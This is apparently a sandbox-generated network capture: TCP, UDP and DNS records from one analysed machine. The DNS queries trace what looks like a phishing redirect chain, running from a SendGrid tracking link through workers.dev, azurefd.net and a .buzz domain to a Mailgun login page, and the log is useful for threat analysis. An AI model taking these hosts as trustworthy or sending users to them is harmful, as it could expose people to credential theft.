Jul 3, 2024 14:38:48.618326902 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.618334055 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.618357897 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.618391037 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.619833946 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.619843960 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.624769926 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.624799013 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.624857903 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.625112057 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.625123978 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.173211098 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.173471928 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:49.173485994 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.173799038 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.174299002 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:49.174381018 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.174597979 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:49.220504045 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.255137920 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.255428076 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.255453110 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.255795002 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.256824017 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.256891012 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.257320881 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.279959917 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.280220985 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.280234098 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.280576944 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.280893087 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.280952930 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.281038046 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.282361984 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.284734964 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.284786940 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:49.285294056 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:49.285310984 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:49.304497957 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.328499079 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.528228998 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.528301001 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.528798103 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.528827906 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.528857946 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.528893948 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.533535957 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.533582926 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.533793926 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.533946037 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.533960104 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.665285110 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.667196035 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.667268038 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.667299032 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.667326927 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.667496920 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.670814037 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.670852900 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.671036959 CEST	443	49782	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:49.671112061 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:49.671112061 CEST	49782	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.163944006 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:50.164328098 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.164355993 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:50.165415049 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:50.165623903 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.166026115 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.166111946 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:50.166150093 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.209353924 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.209393024 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:50.256319046 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.435112000 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:50.435199022 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:50.435247898 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.637922049 CEST	49783	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:50.637962103 CEST	443	49783	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:51.658166885 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:51.658231974 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:51.658293962 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:51.762192965 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:51.762217999 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:52.430088043 CEST	49703	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:52.430088043 CEST	49703	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:52.430429935 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:52.430481911 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:52.430805922 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:52.434880972 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:52.434904099 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:52.436461926 CEST	443	49703	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:52.436772108 CEST	443	49703	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.039206982 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.039277077 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:53.540379047 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:53.540402889 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.540734053 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.540797949 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:53.541399956 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:53.541419983 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.541821957 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:53.541827917 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.830506086 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.830569029 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:53.830703974 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.830750942 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:53.830760956 CEST	443	49790	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:53.830810070 CEST	49790	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:39:00.108640909 CEST	59034	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:39:00.113562107 CEST	53	59034	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:00.113671064 CEST	59034	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:39:00.113728046 CEST	59034	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:39:00.120137930 CEST	53	59034	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:00.580339909 CEST	53	59034	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:00.586004019 CEST	59034	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:39:00.591650963 CEST	53	59034	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:00.591720104 CEST	59034	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:39:24.475856066 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:39:24.475867033 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:39:39.348082066 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:39:39.348160028 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:39:39.348274946 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:39:39.770807981 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:39:39.770832062 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:39:41.161698103 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:41.161751032 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:41.162091017 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:41.162487984 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:41.162501097 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:41.813868046 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:41.814261913 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:41.814297915 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:41.814637899 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:41.815131903 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:41.815192938 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:41.865689039 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:51.716197014 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:51.716264963 CEST	443	59038	142.250.186.68	192.168.2.5
Jul 3, 2024 14:39:51.716447115 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:51.759804010 CEST	59038	443	192.168.2.5	142.250.186.68
Jul 3, 2024 14:39:51.759838104 CEST	443	59038	142.250.186.68	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 14:38:37.532790899 CEST	53	58629	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:37.542063951 CEST	53	49411	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:38.593432903 CEST	57486	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:38.593643904 CEST	50197	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:38.604420900 CEST	53	50197	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:38.605818987 CEST	53	57486	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:38.726294041 CEST	53	56436	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:39.728656054 CEST	49402	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:39.728857040 CEST	61558	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:39.744429111 CEST	53	49402	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:39.744544983 CEST	53	61558	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:40.341955900 CEST	59170	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:40.342308998 CEST	54017	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:40.365797997 CEST	53	59170	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:40.376058102 CEST	53	54017	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:41.087711096 CEST	65218	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:41.088217974 CEST	55440	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:41.096843004 CEST	53	65218	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:41.096954107 CEST	53	55440	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:41.850434065 CEST	54175	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:41.850434065 CEST	61341	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:41.880402088 CEST	53	54175	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:41.883143902 CEST	53	61341	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.771451950 CEST	64422	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.774688005 CEST	49244	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.778127909 CEST	53	52836	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.781203985 CEST	56127	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.781692028 CEST	61513	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.782597065 CEST	53	49244	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.783370018 CEST	63778	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.783823013 CEST	62855	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.784717083 CEST	50579	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.786096096 CEST	56196	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.788336039 CEST	65322	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.788888931 CEST	50822	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.789431095 CEST	53	64422	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.792844057 CEST	53	50579	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.793509007 CEST	53	62855	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.794332027 CEST	53	56196	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.795650005 CEST	53	63778	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.799555063 CEST	53	56127	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.800844908 CEST	53	61513	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.804188967 CEST	64895	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.809320927 CEST	60078	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.810226917 CEST	58529	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.811117887 CEST	64154	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.812331915 CEST	63119	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.813035011 CEST	52794	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.820540905 CEST	53	58529	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.820746899 CEST	53	63119	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.825284004 CEST	53	52794	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.844783068 CEST	53	64154	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.845017910 CEST	53	60078	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.858555079 CEST	53	64895	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:43.912079096 CEST	51257	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:43.923165083 CEST	53	51257	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:44.671473980 CEST	49224	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:44.671662092 CEST	64847	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:44.679650068 CEST	53	49224	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:44.680603981 CEST	53	64847	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.015079975 CEST	60717	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.015225887 CEST	59661	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.023323059 CEST	53	60717	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.024250031 CEST	53	59661	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.031228065 CEST	60726	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.031366110 CEST	60330	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.052356005 CEST	53	64321	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.149282932 CEST	56775	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.149584055 CEST	64723	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.156670094 CEST	53	64723	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.158514977 CEST	53	56775	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.200066090 CEST	64681	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.200229883 CEST	52951	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.201432943 CEST	49782	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.201560020 CEST	56415	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.208066940 CEST	53	64762	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.344583035 CEST	53016	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.344583035 CEST	63749	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.350686073 CEST	65239	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.351106882 CEST	52552	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:45.355444908 CEST	53	53016	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.355463028 CEST	53	63749	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.358560085 CEST	53	65239	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:45.358637094 CEST	53	52552	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.175405025 CEST	58290	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.175626993 CEST	53345	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.184283018 CEST	53	53345	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.215930939 CEST	53	58290	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.336891890 CEST	60012	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.337645054 CEST	50543	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.345211983 CEST	53	50543	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.361926079 CEST	55903	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.362217903 CEST	56333	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.365959883 CEST	51604	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.366161108 CEST	49437	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.366869926 CEST	58886	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.367096901 CEST	52047	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.368621111 CEST	52017	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.368879080 CEST	52665	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.369643927 CEST	53	56333	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.369846106 CEST	53	55903	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.373888969 CEST	53	51604	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.374394894 CEST	53	49437	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.436923981 CEST	61059	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.437081099 CEST	60118	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.444360971 CEST	53	61059	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.444745064 CEST	53	60118	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.616769075 CEST	50331	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.617115021 CEST	60225	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:46.627909899 CEST	53	60225	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:46.629134893 CEST	53	50331	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:47.048341036 CEST	50160	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:47.048579931 CEST	61089	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:47.058712959 CEST	53	61089	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:47.304451942 CEST	59073	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:47.304630041 CEST	61993	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:47.312689066 CEST	53	59073	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:47.313527107 CEST	53	61993	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:47.422185898 CEST	64115	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:47.422398090 CEST	62094	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:38:47.429598093 CEST	53	64115	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:47.429613113 CEST	53	62094	1.1.1.1	192.168.2.5
Jul 3, 2024 14:38:56.072369099 CEST	53	61494	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:00.107743979 CEST	53	59149	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:37.962593079 CEST	53	61778	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:41.147469997 CEST	63079	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:39:41.147727013 CEST	54179	53	192.168.2.5	1.1.1.1
Jul 3, 2024 14:39:41.154912949 CEST	53	63079	1.1.1.1	192.168.2.5
Jul 3, 2024 14:39:41.159624100 CEST	53	54179	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 14:38:38.593432903 CEST	192.168.2.5	1.1.1.1	0x7a67	Standard query (0)	u6071375.ct.sendgrid.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:38.593643904 CEST	192.168.2.5	1.1.1.1	0xb66a	Standard query (0)	u6071375.ct.sendgrid.net	65	IN (0x0001)	false
Jul 3, 2024 14:38:39.728656054 CEST	192.168.2.5	1.1.1.1	0x65a6	Standard query (0)	87484878475.alt-xm-38iszmu.workers.dev	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:39.728857040 CEST	192.168.2.5	1.1.1.1	0xa534	Standard query (0)	87484878475.alt-xm-38iszmu.workers.dev	65	IN (0x0001)	false
Jul 3, 2024 14:38:40.341955900 CEST	192.168.2.5	1.1.1.1	0x4796	Standard query (0)	9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:40.342308998 CEST	192.168.2.5	1.1.1.1	0xce59	Standard query (0)	9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net	65	IN (0x0001)	false
Jul 3, 2024 14:38:41.087711096 CEST	192.168.2.5	1.1.1.1	0x91e1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:41.088217974 CEST	192.168.2.5	1.1.1.1	0xbdf9	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:41.850434065 CEST	192.168.2.5	1.1.1.1	0xed3	Standard query (0)	1b3rmrwdw.buzz	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:41.850434065 CEST	192.168.2.5	1.1.1.1	0x98b3	Standard query (0)	1b3rmrwdw.buzz	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.771451950 CEST	192.168.2.5	1.1.1.1	0x65e3	Standard query (0)	x.clearbitjs.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.774688005 CEST	192.168.2.5	1.1.1.1	0xc933	Standard query (0)	x.clearbitjs.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.781203985 CEST	192.168.2.5	1.1.1.1	0xb7d6	Standard query (0)	login.mailgun.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.781692028 CEST	192.168.2.5	1.1.1.1	0x4f7f	Standard query (0)	login.mailgun.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.783370018 CEST	192.168.2.5	1.1.1.1	0xea7e	Standard query (0)	cdn.rudderlabs.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.783823013 CEST	192.168.2.5	1.1.1.1	0x680	Standard query (0)	cdn.rudderlabs.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.784717083 CEST	192.168.2.5	1.1.1.1	0xefa6	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.786096096 CEST	192.168.2.5	1.1.1.1	0x83f9	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.788336039 CEST	192.168.2.5	1.1.1.1	0xc15d	Standard query (0)	j.6sc.co	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.788888931 CEST	192.168.2.5	1.1.1.1	0x516	Standard query (0)	j.6sc.co	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.804188967 CEST	192.168.2.5	1.1.1.1	0x7066	Standard query (0)	get.sinchemail.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.809320927 CEST	192.168.2.5	1.1.1.1	0x2b72	Standard query (0)	get.sinchemail.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.810226917 CEST	192.168.2.5	1.1.1.1	0xe393	Standard query (0)	td.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.811117887 CEST	192.168.2.5	1.1.1.1	0x36b8	Standard query (0)	td.google.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.812331915 CEST	192.168.2.5	1.1.1.1	0xea45	Standard query (0)	tag.clearbitscripts.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.813035011 CEST	192.168.2.5	1.1.1.1	0x129f	Standard query (0)	tag.clearbitscripts.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.912079096 CEST	192.168.2.5	1.1.1.1	0x5e62	Standard query (0)	td.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:44.671473980 CEST	192.168.2.5	1.1.1.1	0x5110	Standard query (0)	www.redditstatic.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:44.671662092 CEST	192.168.2.5	1.1.1.1	0xe818	Standard query (0)	www.redditstatic.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:45.015079975 CEST	192.168.2.5	1.1.1.1	0xa7fc	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.015225887 CEST	192.168.2.5	1.1.1.1	0x521c	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:45.031228065 CEST	192.168.2.5	1.1.1.1	0x20dd	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.031366110 CEST	192.168.2.5	1.1.1.1	0x3a98	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
